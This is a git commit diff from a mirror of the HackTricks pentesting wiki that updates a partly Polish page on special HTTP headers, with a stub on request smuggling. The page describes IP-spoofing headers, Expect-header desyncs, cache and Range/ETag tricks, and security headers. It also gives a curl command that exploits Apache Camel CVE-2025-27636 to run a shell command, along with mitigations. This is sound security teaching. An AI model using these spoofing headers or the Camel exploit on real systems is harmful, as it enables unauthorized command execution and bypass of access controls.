mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
Translator
parent
9084889c32
commit
aa20012821
@ -1,15 +1,15 @@
|
|||||||
# Specjalne nagłówki HTTP
|
# Special HTTP headers
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Listy słów i narzędzia
|
## Wordlists & Tools
|
||||||
|
|
||||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||||
|
|
||||||
## Nagłówki do zmiany lokalizacji
|
## Headers to Change Location
|
||||||
|
|
||||||
Przepisz **IP źródłowe**:
|
Zamiana źródła IP:
|
||||||
|
|
||||||
- `X-Originating-IP: 127.0.0.1`
|
- `X-Originating-IP: 127.0.0.1`
|
||||||
- `X-Forwarded-For: 127.0.0.1`
|
- `X-Forwarded-For: 127.0.0.1`
|
||||||
@ -26,111 +26,132 @@ Przepisz **IP źródłowe**:
|
|||||||
- `True-Client-IP: 127.0.0.1`
|
- `True-Client-IP: 127.0.0.1`
|
||||||
- `Cluster-Client-IP: 127.0.0.1`
|
- `Cluster-Client-IP: 127.0.0.1`
|
||||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||||
- `Connection: close, X-Forwarded-For` (Sprawdź nagłówki hop-by-hop)
|
- `Connection: close, X-Forwarded-For` (Sprawdź hop-by-hop headers)
|
||||||
|
|
||||||
Przepisz **lokację**:
|
Zamiana lokalizacji:
|
||||||
|
|
||||||
- `X-Original-URL: /admin/console`
|
- `X-Original-URL: /admin/console`
|
||||||
- `X-Rewrite-URL: /admin/console`
|
- `X-Rewrite-URL: /admin/console`
|
||||||
|
|
||||||
## Nagłówki hop-by-hop
|
## Hop-by-Hop headers
|
||||||
|
|
||||||
Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania i konsumowania przez proxy obsługujące żądanie, w przeciwieństwie do nagłówka end-to-end.
|
Hop-by-hop header to nagłówek, który ma być przetwarzany i konsumowany przez proxy aktualnie obsługujące żądanie, w przeciwieństwie do nagłówka end-to-end.
|
||||||
|
|
||||||
- `Connection: close, X-Forwarded-For`
|
- `Connection: close, X-Forwarded-For`
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Smuggling żądań HTTP
|
## HTTP Request Smuggling
|
||||||
|
|
||||||
- `Content-Length: 30`
|
- `Content-Length: 30`
|
||||||
- `Transfer-Encoding: chunked`
|
- `Transfer-Encoding: chunked`
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/http-request-smuggling/
|
../../pentesting-web/http-request-smuggling/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Nagłówki pamięci podręcznej
|
## The Expect header
|
||||||
|
|
||||||
**Nagłówki pamięci podręcznej serwera**:
|
Możliwe jest, że klient wyśle nagłówek `Expect: 100-continue`, a serwer odpowie `HTTP/1.1 100 Continue`, co zezwala klientowi na kontynuowanie wysyłania body żądania. Jednak niektóre proxy nie lubią tego nagłówka.
|
||||||
|
|
||||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`**, gdy żądanie nie zostało zbuforowane, oraz wartość **`hit`**, gdy jest zbuforowane
|
Ciekawe skutki użycia `Expect: 100-continue`:
|
||||||
|
- Wysłanie żądania HEAD z body — serwer nie wziął pod uwagę, że żądania HEAD nie mają body i utrzymuje połączenie otwarte aż do timeoutu.
|
||||||
|
- Inne serwery wysyłały dziwne dane: losowe dane przeczytane z gniazda w odpowiedzi, secret keys albo nawet pozwalało to zapobiec usuwaniu wartości nagłówków przez front-end.
|
||||||
|
- Powodowało to także desync `0.CL`, gdy backend odpowiedział 400 zamiast 100, ale proxy front-end był przygotowany do wysłania body oryginalnego żądania, więc je wysłał i backend uznał to za nowe żądanie.
|
||||||
|
- Wariant `Expect: y 100-continue` także spowodował desync `0.CL`.
|
||||||
|
- Podobny błąd, gdzie backend odpowiedział 404, wygenerował desync `CL.0`, ponieważ złośliwe żądanie wskazywało `Content-Length`, więc backend wysłał złośliwe żądanie + `Content-Length` bajtów następnego żądania (ofiary). To rozregulowało kolejkę, bo backend wysyła odpowiedź 404 dla złośliwego żądania + odpowiedź dla żądań ofiary, ale front-end sądził, że wysłano tylko 1 żądanie, więc druga odpowiedź powędrowała do drugiego żądania ofiary, a odpowiedź tamtej do kolejnego...
|
||||||
|
|
||||||
|
Więcej informacji o HTTP Request Smuggling znajdziesz:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../pentesting-web/http-request-smuggling/
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Cache Headers
|
||||||
|
|
||||||
|
**Server Cache Headers**:
|
||||||
|
|
||||||
|
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie było cache'owane i wartość **`hit`** gdy zostało zcache'owane
|
||||||
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
|
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
|
||||||
- **`Cache-Control`** wskazuje, czy zasób jest buforowany i kiedy będzie następny raz buforowany: `Cache-Control: public, max-age=1800`
|
- **`Cache-Control`** wskazuje, czy zasób jest cache'owany i kiedy nastąpi kolejna ważność: `Cache-Control: public, max-age=1800`
|
||||||
- **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane.
|
- **`Vary`** często używany jest w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza cache** nawet jeśli normalnie nie są uwzględniane.
|
||||||
- **`Age`** definiuje czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.
|
- **`Age`** definiuje czas w sekundach, przez jaki obiekt przebywał w cache proxy.
|
||||||
- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był buforowany
|
- **`Server-Timing: cdn-cache; desc=HIT`** także wskazuje, że zasób był zcache'owany
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/cache-deception/
|
../../pentesting-web/cache-deception/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
**Nagłówki pamięci podręcznej lokalnej**:
|
**Local Cache headers**:
|
||||||
|
|
||||||
- `Clear-Site-Data`: Nagłówek wskazujący, które dane w pamięci podręcznej powinny zostać usunięte: `Clear-Site-Data: "cache", "cookies"`
|
- `Clear-Site-Data`: Nagłówek wskazujący, które cache'y powinny zostać usunięte: `Clear-Site-Data: "cache", "cookies"`
|
||||||
- `Expires`: Zawiera datę/godzinę, kiedy odpowiedź powinna wygasnąć: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
- `Expires`: Zawiera datę/czas wygaśnięcia odpowiedzi: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||||
- `Pragma: no-cache` to samo co `Cache-Control: no-cache`
|
- `Pragma: no-cache` to samo co `Cache-Control: no-cache`
|
||||||
- `Warning`: Nagłówek ogólny HTTP **`Warning`** zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
- `Warning`: Ogólny nagłówek HTTP zawierający informacje o możliwych problemach ze statusem wiadomości. Może wystąpić więcej niż jeden nagłówek `Warning` w odpowiedzi. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||||
|
|
||||||
## Warunki
|
## Conditionals
|
||||||
|
|
||||||
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę.
|
- Żądania używające nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** zostaną zwrócone z danymi tylko jeśli nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę.
|
||||||
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** wykorzystują wartość Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP.
|
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** używają wartości Etag, więc serwer wyśle treść odpowiedzi jeśli dane (Etag) uległy zmianie. `Etag` jest pobierany z odpowiedzi HTTP.
|
||||||
- Wartość **Etag** jest zazwyczaj **obliczana na podstawie** **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** **37 bajtów**.
|
- Wartość **Etag** jest zazwyczaj **obliczana** na podstawie **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` jest **Sha1** z **37 bajtów**.
|
||||||
|
|
||||||
## Żądania zakresu
|
## Range requests
|
||||||
|
|
||||||
- **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresu, a jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
|
- **`Accept-Ranges`**: Wskazuje czy serwer obsługuje range requests, i jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
|
||||||
- **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład, `Range:80-100` zwróci bajty od 80 do 100 oryginalnej odpowiedzi z kodem statusu 206 Partial Content. Pamiętaj również, aby usunąć nagłówek `Accept-Encoding` z żądania.
|
- **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład, `Range:80-100` zwróci bajty 80 do 100 oryginalnej odpowiedzi ze statusem 206 Partial Content. Pamiętaj też, aby usunąć nagłówek `Accept-Encoding` z żądania.
|
||||||
- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zescapowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu.
|
- To może być użyteczne, by otrzymać odpowiedź z arbitralnym reflektowanym kodem javascript, który normalnie byłby escapowany. Aby to nadużyć musiałbyś wstrzyknąć te nagłówki w żądaniu.
|
||||||
- **`If-Range`**: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Używane do zapobiegania pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu.
|
- **`If-Range`**: Tworzy warunkowe żądanie zakresu, które zostanie zrealizowane tylko jeśli podany etag lub data pasuje do zdalnego zasobu. Używane, by zapobiec pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu.
|
||||||
- **`Content-Range`**: Wskazuje, gdzie w pełnej wiadomości ciała należy umieścić wiadomość częściową.
|
- **`Content-Range`**: Wskazuje, gdzie w pełnym ciele wiadomości mieści się fragmentowa wiadomość.
|
||||||
|
|
||||||
## Informacje o ciele wiadomości
|
## Message body information
|
||||||
|
|
||||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach.
|
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach.
|
||||||
- **`Content-Type`**: Wskazuje typ mediów zasobu
|
- **`Content-Type`**: Wskazuje typ mediów zasobu
|
||||||
- **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
|
- **`Content-Encoding`**: Używany do określenia algorytmu kompresji.
|
||||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.
|
- **`Content-Language`**: Opisuje język(i) przeznaczenia dla odbiorców, pozwalając użytkownikowi rozróżnić zgodnie z preferencjami językowymi.
|
||||||
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych.
|
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwracanych danych.
|
||||||
|
|
||||||
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
|
Z punktu widzenia pentest ten zestaw informacji zwykle jest "bezużyteczny", ale jeśli zasób jest **chroniony** przez 401 lub 403 i potrafisz znaleźć jakiś **sposób** aby **uzyskać** te **info**, to może być to **interesujące.**\
|
||||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
|
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może is leaking zawartość strony przez żądania HEAD:
|
||||||
|
|
||||||
- Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
- Żądanie z nagłówkiem `Range: bytes=20-20` i z odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||||
|
|
||||||
## Informacje o serwerze
|
## Server Info
|
||||||
|
|
||||||
- `Server: Apache/2.4.1 (Unix)`
|
- `Server: Apache/2.4.1 (Unix)`
|
||||||
- `X-Powered-By: PHP/5.3.3`
|
- `X-Powered-By: PHP/5.3.3`
|
||||||
|
|
||||||
## Kontrole
|
## Controls
|
||||||
|
|
||||||
- **`Allow`**: Ten nagłówek jest używany do komunikowania metod HTTP, które zasób może obsługiwać. Na przykład może być określony jako `Allow: GET, POST, HEAD`, co wskazuje, że zasób obsługuje te metody.
|
- **`Allow`**: Ten nagłówek służy do komunikowania metod HTTP, które zasób może obsłużyć. Na przykład może być określony jako `Allow: GET, POST, HEAD`, wskazując, że zasób obsługuje te metody.
|
||||||
- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
|
- **`Expect`**: Używany przez klienta do przekazania oczekiwań, które serwer musi spełnić, aby żądanie zostało poprawnie przetworzone. Powszechnym zastosowaniem jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje odpowiedzi `100 (Continue)` przed kontynuacją transmisji. Mechanizm ten pomaga optymalizować wykorzystanie sieci przez oczekiwanie na potwierdzenie serwera.
|
||||||
|
|
||||||
## Pobierania
|
## Downloads
|
||||||
|
|
||||||
- Nagłówek **`Content-Disposition`** w odpowiedziach HTTP wskazuje, czy plik powinien być wyświetlany **inline** (w obrębie strony) czy traktowany jako **załącznik** (pobierany). Na przykład:
|
- Nagłówek **`Content-Disposition`** w odpowiedziach HTTP określa, czy plik powinien być wyświetlony **inline** (w obrębie strony) czy traktowany jako **attachment** (do pobrania). Na przykład:
|
||||||
```
|
```
|
||||||
Content-Disposition: attachment; filename="filename.jpg"
|
Content-Disposition: attachment; filename="filename.jpg"
|
||||||
```
|
```
|
||||||
To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany.
|
To oznacza, że plik o nazwie "filename.jpg" ma zostać pobrany i zapisany.
|
||||||
|
|
||||||
## Nagłówki zabezpieczeń
|
## Nagłówki bezpieczeństwa
|
||||||
|
|
||||||
### Polityka bezpieczeństwa treści (CSP) <a href="#csp" id="csp"></a>
|
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/content-security-policy-csp-bypass/
|
../../pentesting-web/content-security-policy-csp-bypass/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **Zaufane typy**
|
### **Trusted Types**
|
||||||
|
|
||||||
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami DOM XSS. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API webowych, co zabezpiecza kod JavaScript domyślnie.
|
Wymuszając Trusted Types za pomocą CSP, aplikacje mogą być chronione przed atakami DOM XSS. Trusted Types zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi zasadami bezpieczeństwa, mogą być używane w niebezpiecznych web API calls, co w efekcie domyślnie zabezpiecza kod JavaScript.
|
||||||
```javascript
|
```javascript
|
||||||
// Feature detection
|
// Feature detection
|
||||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||||
@ -149,74 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
|
|||||||
```
|
```
|
||||||
### **X-Content-Type-Options**
|
### **X-Content-Type-Options**
|
||||||
|
|
||||||
Ten nagłówek zapobiega sniffingowi typu MIME, praktyce, która może prowadzić do podatności XSS. Zapewnia, że przeglądarki respektują typy MIME określone przez serwer.
|
Ten nagłówek zapobiega MIME type sniffing, praktyce, która może prowadzić do podatności XSS. Zapewnia, że przeglądarki respektują typy MIME określone przez serwer.
|
||||||
```
|
```
|
||||||
X-Content-Type-Options: nosniff
|
X-Content-Type-Options: nosniff
|
||||||
```
|
```
|
||||||
### **X-Frame-Options**
|
### **X-Frame-Options**
|
||||||
|
|
||||||
Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty mogą być osadzane w tagach `<frame>`, `<iframe>`, `<embed>` lub `<object>`, zalecając, aby wszystkie dokumenty wyraźnie określały swoje uprawnienia do osadzania.
|
Aby przeciwdziałać clickjackingowi, ten nagłówek ogranicza sposób, w jaki dokumenty mogą być osadzane w tagach `<frame>`, `<iframe>`, `<embed>`, lub `<object>`, zalecając, aby wszystkie dokumenty wyraźnie określały swoje uprawnienia dotyczące osadzania.
|
||||||
```
|
```
|
||||||
X-Frame-Options: DENY
|
X-Frame-Options: DENY
|
||||||
```
|
```
|
||||||
### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)**
|
### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)**
|
||||||
|
|
||||||
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS z kolei pozwala na bardziej elastyczny mechanizm udostępniania zasobów między różnymi źródłami, łagodząc politykę tego samego pochodzenia w określonych warunkach.
|
CORP jest kluczowy dla określania, które zasoby mogą być ładowane przez strony internetowe, co pomaga ograniczyć cross-site leaks. Z kolei CORS pozwala na bardziej elastyczny mechanizm udostępniania zasobów cross-origin, poluzowując same-origin policy w określonych warunkach.
|
||||||
```
|
```
|
||||||
Cross-Origin-Resource-Policy: same-origin
|
Cross-Origin-Resource-Policy: same-origin
|
||||||
Access-Control-Allow-Origin: https://example.com
|
Access-Control-Allow-Origin: https://example.com
|
||||||
Access-Control-Allow-Credentials: true
|
Access-Control-Allow-Credentials: true
|
||||||
```
|
```
|
||||||
### **Polityka Osadzania Międzydomenowego (COEP) i Polityka Otwierania Międzydomenowego (COOP)**
|
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
|
||||||
|
|
||||||
COEP i COOP są niezbędne do umożliwienia izolacji międzydomenowej, znacznie zmniejszając ryzyko ataków podobnych do Spectre. Kontrolują one ładowanie zasobów międzydomenowych oraz interakcję z oknami międzydomenowymi, odpowiednio.
|
COEP i COOP są niezbędne do umożliwienia izolacji cross-origin, co znacząco zmniejsza ryzyko ataków podobnych do Spectre. Kontrolują one odpowiednio ładowanie zasobów cross-origin oraz interakcję z oknami cross-origin.
|
||||||
```
|
```
|
||||||
Cross-Origin-Embedder-Policy: require-corp
|
Cross-Origin-Embedder-Policy: require-corp
|
||||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||||
```
|
```
|
||||||
### **HTTP Strict Transport Security (HSTS)**
|
### **HTTP Strict Transport Security (HSTS)**
|
||||||
|
|
||||||
Ostatnio, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
|
Na koniec, HSTS to funkcja bezpieczeństwa, która zmusza przeglądarki do komunikowania się z serwerami wyłącznie przez bezpieczne połączenia HTTPS, w ten sposób zwiększając prywatność i bezpieczeństwo.
|
||||||
```
|
```
|
||||||
Strict-Transport-Security: max-age=3153600
|
Strict-Transport-Security: max-age=3153600
|
||||||
```
|
```
|
||||||
## Header Name Casing Bypass
|
## Header Name Casing Bypass
|
||||||
|
|
||||||
HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry bezpieczeństwa lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją.
|
HTTP/1.1 definiuje nazwy pól nagłówka jako **niezależne od wielkości liter** (RFC 9110 §5.1). Mimo to bardzo często można natrafić na niestandardowe middleware, filtry bezpieczeństwa lub logikę biznesową, które porównują *literalną* nazwę nagłówka bez uprzedniego znormalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te sprawdzenia są wykonywane **z rozróżnieniem wielkości liter**, atakujący może je obejść, wysyłając ten sam nagłówek z inną kapitalizacją.
|
||||||
|
|
||||||
Typowe sytuacje, w których pojawia się ten błąd:
|
Typowe sytuacje, w których pojawia się ten błąd:
|
||||||
|
|
||||||
* Niestandardowe listy dozwolonych/zakazanych, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu.
|
* Niestandardowe allow/deny lists, które próbują zablokować „niebezpieczne” nagłówki wewnętrzne zanim żądanie trafi do wrażliwego komponentu.
|
||||||
* Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja `X-Forwarded-For`).
|
* Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja `X-Forwarded-For`).
|
||||||
* Frameworki, które udostępniają punkty końcowe zarządzania / debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń.
|
* Frameworki, które udostępniają punkty końcowe zarządzania / debug i polegają na nazwach nagłówków przy uwierzytelnianiu lub wyborze polecenia.
|
||||||
|
|
||||||
### Abusing the bypass
|
### Abusing the bypass
|
||||||
|
|
||||||
1. Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (na przykład, poprzez przeglądanie kodu źródłowego, dokumentacji lub komunikatów o błędach).
|
1. Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (np. przez analizę kodu źródłowego, dokumentacji lub komunikatów o błędach).
|
||||||
2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta.
|
2. Wyślij **ten sam nagłówek z inną kapitalizacją** (wielkość liter mieszana lub wielkie litery). Ponieważ stosy HTTP zwykle kanonizują nagłówki dopiero *po* wykonaniu kodu użytkownika, podatne sprawdzenie można pominąć.
|
||||||
3. Jeśli komponent downstream traktuje nagłówki w sposób niezależny od wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego.
|
3. Jeśli komponent downstream traktuje nagłówki bez rozróżniania wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego.
|
||||||
|
|
||||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||||
|
|
||||||
W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było wykonywane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami.
|
W podatnych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania przez usunięcie nagłówków `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było wykonywane za pomocą `equals()`, więc usuwane były tylko nagłówki o dokładnie takim zapisie (z uwzględnieniem wielkości liter).
|
||||||
```bash
|
```bash
|
||||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||||
curl "http://<IP>/command-center" \
|
curl "http://<IP>/command-center" \
|
||||||
-H "CAmelExecCommandExecutable: ls" \
|
-H "CAmelExecCommandExecutable: ls" \
|
||||||
-H "CAmelExecCommandArgs: /"
|
-H "CAmelExecCommandArgs: /"
|
||||||
```
|
```
|
||||||
Nagłówki docierają do komponentu `exec` bez filtracji, co skutkuje zdalnym wykonaniem poleceń z uprawnieniami procesu Camel.
|
Nagłówki trafiają do komponentu `exec` bez filtrowania, co skutkuje remote command execution z uprawnieniami procesu Camel.
|
||||||
|
|
||||||
### Wykrywanie i łagodzenie
|
### Wykrywanie i łagodzenie
|
||||||
|
|
||||||
* Normalizuj wszystkie nazwy nagłówków do jednej formy (zwykle małymi literami) **przed** przeprowadzeniem porównań zezwalających/odrzucających.
|
* Znormalizuj wszystkie nazwy nagłówków do jednego zapisu (zwykle małe litery) **przed** przeprowadzeniem porównań allow/deny.
|
||||||
* Odrzuć podejrzane duplikaty: jeśli obecne są zarówno `Header:`, jak i `HeAdEr:`, traktuj to jako anomalię.
|
* Odrzuć podejrzane duplikaty: jeśli obecne są zarówno `Header:`, jak i `HeAdEr:`, potraktuj to jako anomalię.
|
||||||
* Użyj pozytywnej listy dozwolonych elementów egzekwowanej **po** kanonizacji.
|
* Użyj pozytywnej allow-listy egzekwowanej **po** canonicalisation.
|
||||||
* Chroń punkty końcowe zarządzania za pomocą uwierzytelniania i segmentacji sieci.
|
* Chroń endpointy zarządzania za pomocą uwierzytelniania i segmentacji sieci.
|
||||||
|
|
||||||
## Odniesienia
|
|
||||||
|
|
||||||
- [CVE-2025-27636 – RCE w Apache Camel poprzez obejście wielkości liter nagłówków (blog OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
|
## References
|
||||||
|
|
||||||
|
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||||
|
|||||||
@ -5,9 +5,10 @@
|
|||||||
|
|
||||||
## Co to jest
|
## Co to jest
|
||||||
|
|
||||||
Ta podatność występuje, gdy występuje **desynchronizacja** pomiędzy **front-end proxies** a serwerem **back-end**, co pozwala **attacker** wysłać żądanie HTTP, które będzie **interpretowane** jako **pojedyncze żądanie** przez **front-end** proxies (load balance/reverse-proxy) i **jako 2 żądania** przez serwer **back-end**.\ To pozwala użytkownikowi **zmodyfikować następne żądanie, które dotrze do back-end po jego**.
|
Ta podatność występuje, gdy **desynchronizacja** między **front-end proxies** a serwerem **back-end** pozwala **atakującemu** wysłać żądanie HTTP, które będzie **interpretowane** jako **pojedyncze żądanie** przez **front-end** (load balancer / reverse-proxy) i **jako 2 żądania** przez serwer **back-end**.\
|
||||||
|
Pozwala to użytkownikowi **zmodyfikować następne żądanie**, które dotrze do serwera back-end po jego własnym żądaniu.
|
||||||
|
|
||||||
### Theory
|
### Teoria
|
||||||
|
|
||||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||||
|
|
||||||
@ -22,32 +23,49 @@ Ta podatność występuje, gdy występuje **desynchronizacja** pomiędzy **front
|
|||||||
